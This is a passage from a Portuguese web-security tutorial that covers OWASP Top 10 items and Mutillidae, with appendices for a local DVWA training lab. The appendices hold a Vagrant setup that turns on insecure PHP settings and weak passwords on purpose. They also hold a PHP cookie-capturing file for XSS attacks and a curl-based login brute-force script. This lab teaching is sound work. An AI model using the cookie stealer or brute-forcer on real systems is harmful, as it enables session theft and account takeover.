Configurações incorretas do sistema operacional, do servidor web, do banco 
de dados, do framework ou mesmo do pré-compilador podem afetar a segurança do 
sistema. As configurações padrão nem sempre são otimizadas com base na 
segurança, por isso é importante revisar e configurar corretamente cada item. 
 
 
Vetores: 3/3 Prevalência: 3/3 Detectabilidade: 3/3 Impacto técnico: 2/3 
 
7. Cross-Site Scripting (XSS) 
Um usuário mal-intencionado com acesso ao sistema envia scripts para 
serem executados nos computadores dos outros usuários. O XSS pode ser feito a 
partir de links ou referências a outros websites, por exemplo, no atributo href de uma 
imagem ou no atributo src de uma tag <script>. Estas referências podem levar à 
execução de código malicioso de um site dentro de outro (por isso o nome, cross-
site, ou através/cruzando sites). 
 
Vetores: 3/3 Prevalência: 3/3 Detectabilidade: 3/3 Impacto técnico: 2/3 
 
8. Insecure Deserialization (desserialização insegura) 
 É um ataque mais técnico e atualmente não existem muitas ferramentas que 
fazem o ataque automaticamente, mas se relaciona a objetos ou estruturas de 
dados em aplicações ou APIs que são serializados/de-serializados; se modificados 
manualmente entre esses processos de serialização, podem ganhar funções não 
previstas pelo sistema e permitir execuções de código malicioso. 
 
Vetores: 1/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
 
9. Using Components with Known Vulnerabilities (utilização de 
componentes com vulnerabilidades conhecidas) 
 É comum que programadores que desenvolvem em larga escala utilizem 
muitos componentes externos sem conhecer de forma integral como funcionam, ou 
quais as versões ou vulnerabilidades que elas funcionam. Assim, alguns sistemas 
podem ser comprometidos por pacotes ou bibliotecas desatualizadas ou que não 
tiveram problemas de segurança resolvidos. 
 
 
Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 2/3 Impacto técnico: 2/3 
 
10. Insufficient Logging & Monitoring (logs e monitoramento 
insuficiente) 
 Quando um sistema não grava logs suficientes, ou quando não tem um 
sistema de monitoramento adequado toda a segurança de um sistema pode ser 
comprometida. Os ataques mais bem sucedidos são feitos a partir de sondagem de 
código, um usuário mal intencionado pode não conhecer bem um sistema, mas se 
tiver tempo de testar muitas probabilidades provavelmente vai encontrar alguma 
vulnerabilidade. Um sistema que não barre o usuário nesta fase de testes, ou que 
pelo menos tenha as informações de como um ataque aconteceu é muito inseguro. 
 
Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 1/3 Impacto técnico: 2/3 
Mutillidae 
Além da lista com as 10 maiores vulnerabilidades, a OWASP tem sua própria versão 
de sistema inseguro como o Damn Vulnerable Web Application. Chamado 
inicialmente de NoWASP e posteriormente renomeado para Mutillidae22. É um 
sistema com ainda mais exemplos de vulnerabilidades do que a DVWA e que 
separa as vulnerabilidades nas mesmas categorias que as top 10 vulnerabilidades. 
 
Conclusão 
A maioria das falhas de segurança em aplicações web podem ser evitadas, 
mas acontecem por falta de atenção, falta de conhecimento ou por falta de 
proatividade por parte dos desenvolvedores ou pelos responsáveis pelas 
configurações dos servidores/aplicações. É essencial se conhecer sobre as 
mesmas, não somente se você pretende trabalhar na área de segurança, mas se 
 
22 O nome é uma brincadeira em inglês, já que "wasp" significa "vespa" e "mutillidae" é uma família 
de vespas da ordem hymenoptera 
 
você trabalha em qualquer outra área relacionada ao 
desenvolvimento/gerenciamento de sistemas, pois somente conhecendo como 
estas falhas são exploradas é possível se prevenir e mitigar quando as mesmas 
acontecem. 
 
Anexos 
Anexo 1: 
 
# Instalação do DVWA em uma máquina virtual vbox 
# Créditos: Jean R T Delefrati <jeandelefrati@gmail.com> 
# Documentação completa do Vagrant: https://docs.vagrantup.com 
# AVISO! Este arquivo instala o DVWA (Damn Vulnerable Web Application) 
# uma aplicação que pode comprometer a segurança do seu computador 
# por favor não libere a porta 8080 para acesso externo e após terminar 
# seus estudos, execute o seguinte comando para fechar a máquina virtual: 
# vagrant halt 
 
Vagrant.configure(2) do |config| 
 
 # Instala a box Ubuntu Xenial 64bits 
 config.vm.box = "ubuntu/xenial64" 
 config.vm.box_check_update = false 
 
 # Encaminha a porta 80 da máquina virtual para a porta 8080 
 # do seu computador, para acessar: http://localhost:8080 em 
 # qualquer navegador 
 config.vm.network "forwarded_port", guest: 80, host: 8080 
 
 # Configura a Virtualbox 
 config.vm.provider "virtualbox" do |vb| 
 # Ignora o visual, usar só terminal 
 vb.gui = false 
 # Memória da máquinavirtual, 1G 
 vb.memory = "1024" 
 end 
 
 # Os comandos abaixo serão executados na primeira vez que você 
 # iniciar o "vagrant up" ou quando executar um 
 # "vagrant up --provision" (não recomendado) 
 config.vm.provision "shell", inline: <<-SHELL 
 
 
 echo '-- Atualizando os repositórios' 
 sudo apt-get -qq update -y 
 
 echo '-- Instalando o Apache web server' 
 sudo apt-get -qq install -y apache2 apache2.2-common apache2-utils 
apache2-mpm-prefork >> /vagrant/inst.log 
 
 echo '-- Instalando o PHP' 
 sudo apt-get -qq install -y libapache2-mod-php php php-common php-gd >> 
/vagrant/inst.log 
 
 echo '-- Instalando o editor NANO' 
 sudo apt-get -qq install -y nano >> /vagrant/inst.log 
 
 echo '-- Configurando o web server' 
 sudo service apache2 stop >> /vagrant/inst.log 
 sudo sed -i 's/www-data/vagrant/g' /etc/apache2/envvars 
 sudo sed -i '51iServerName 127.0.1.1' /etc/apache2/apache2.conf 
 sudo chown -R vagrant:root /var/lock/apache2 
 sudo service apache2 start >> /vagrant/inst.log 
 
 echo '-- Instalando o MySQL' 
 DBPASSWD=p@ssw0rd 
 debconf-set-selections <<< "mysql-server mysql-server/root_password 
password $DBPASSWD" 
 debconf-set-selections <<< "mysql-server mysql-
server/root_password_again password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/dbconfig-install 
boolean true" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/app-password-confirm 
password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/mysql/admin-pass 
password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/mysql/app-pass 
password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/reconfigure-webserver 
multiselect none" 
 sudo apt-get -y install mysql-server phpmyadmin php-mysql php-mysqli 
 
 echo '-- Configurando o PHP' 
 
 sudo sed -i "s/error_reporting = .*/error_reporting = E_ALL/" 
/etc/php/*/apache2/php.ini 
 sudo sed -i "s/display_errors = .*/display_errors = On/" 
/etc/php/*/apache2/php.ini 
 sudo sed -i "s/allow_url_include = Off/allow_url_include = On/" 
/etc/php/*/apache2/php.ini 
 
 echo '-- Executando os comandos pós instalação' 
 sudo service apache2 restart 
 sudo locale-gen UTF-8 
 
 echo '-- Baixando o DVWA' 
 cd ~ 
 git clone https://github.com/ethicalhack3r/DVWA >> /vagrant/inst.log 
 sudo unlink /var/www/html/index.html 
 sudo mv DVWA/* /var/www/html 
 sudo sed -i "s/recaptcha_public_key' ] = ''/recaptcha_public_key' ] = 
'insecurekey'/" /var/www/html/config/config.inc.php.dist 
 sudo sed -i "s/recaptcha_private_key' ] = ''/recaptcha_private_key' ] 
= 'insecurekey'/" /var/www/html/config/config.inc.php.dist 
 sudo sed -i "s/'impossible'/'low'/" 
/var/www/html/config/config.inc.php.dist 
 
 sudo cp /var/www/html/config/config.inc.php.dist 
/var/www/html/config/config.inc.php 
 
 echo "-- Criando o arquivo para o ataque XSS" 
 echo "<?php @file_put_contents('cookies.txt', json_encode(\$_REQUEST) . 
' - ' . json_encode(\$_SERVER) . PHP_EOL, FILE_APPEND);" > 
/var/www/html/cookie.php 
 
 
 
 echo '-- Script finalizado' 
 SHELL 
end 
 
 
Anexo 2 
#!/bin/bash 
 
echo -e "POC - Simples ferramenta de brute force\n"; 
echo -e "Usuário: \c" 
read usuario 
echo -e "PHPSESSID: \c" 
read sessid 
 
for senha in $(<"$1"); do 
 echo "$usuario/$senha"; 
 resultado=$(curl 
"http://localhost:8080/vulnerabilities/brute/?username=$usuario&password=$s
enha&Login=Login" -H "Cookie: PHPSESSID=$sessid; security=low" -s | grep 
"Username and/or password incorrect."); 
 if [ -z "$resultado" ]; then 
 echo "verificar!" 
 exit 1 
 fi; 
done; 
 
 
 
 
 
Bibliografia 
 
DVWA 
http://dvwa.co.uk/ 
https://github.com/ethicalhack3r/DVWA/ 
http://www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/ 
 
OWASP 
https://www.owasp.org/index.php/Main_Page 
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf 
https://www.owasp.org/images/9/9c/OWASP_Top_10_2013_PT-BR.pdf 
https://www.owasp.org/index.php/Brute_force_attack 
https://www.owasp.org/index.php/SQL_Injection 
https://www.owasp.org/index.php/Using_a_broken_or_risky_cryptographic_algorithm 
https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure 
https://www.owasp.org/index.php/Unrestricted_File_Upload 
https://www.owasp.org/index.php/XSS_Attacks 
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) 
https://www.cvedetails.com/cwe-details/261/Weak-Cryptography-for-Passwords.html 
https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012) 
 
Mutillidae 
https://sourceforge.net/projects/mutillidae/files/ 
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-
mutillidae-ii-web-pen-test-training-environment-34380 
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-
web-pen-test-training-environment-126917 
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide 
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-
script.html 
 
http://dvwa.co.uk/
https://github.com/ethicalhack3r/DVWA/
http://www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/
https://www.owasp.org/index.php/Main_Page
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
https://www.owasp.org/images/9/9c/OWASP_Top_10_2013_PT-BR.pdf
https://www.owasp.org/index.php/Brute_force_attack
https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Using_a_broken_or_risky_cryptographic_algorithm
https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/XSS_Attacks
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.cvedetails.com/cwe-details/261/Weak-Cryptography-for-Passwords.html
https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012)
https://sourceforge.net/projects/mutillidae/files/
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-34380
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-34380
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-126917
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-126917
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-script.html
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-script.html
 
Passwords 
http://php.net/manual/pt_BR/faq.passwords.php 
http://webglimpse.net/pubs/TR94-34.pdf 
http://ctankersley.com/2009/10/14/hashing-is-not-encryption/ 
 
Listas de Vulnerabilidades 
https://exploit-db.com/ 
https://cve.mitre.org/ 
https://nakedsecurity.sophos.com/2017/01/03/phpmailer-could-put-your-website-at-
risk-heres-what-you-need-to-know/ 
https://www.cvedetails.com/vulnerability-list/vendor_id-31/Sendmail.html 
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection 
https://www.exploit-db.com/exploits/40974/ 
https://sucuri.net/reports/ 
https://blog.sucuri.net/portugues/ 
https://kb.sucuri.net/malware/signatures/ 
 
Injection 
https://www.exploit-db.com/docs/english/42593-command-injection---shell-
injection.pdf 
https://secure.php.net/manual/pt_BR/book.mysqli.php 
https://dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/information-
schema.html

Continue navegando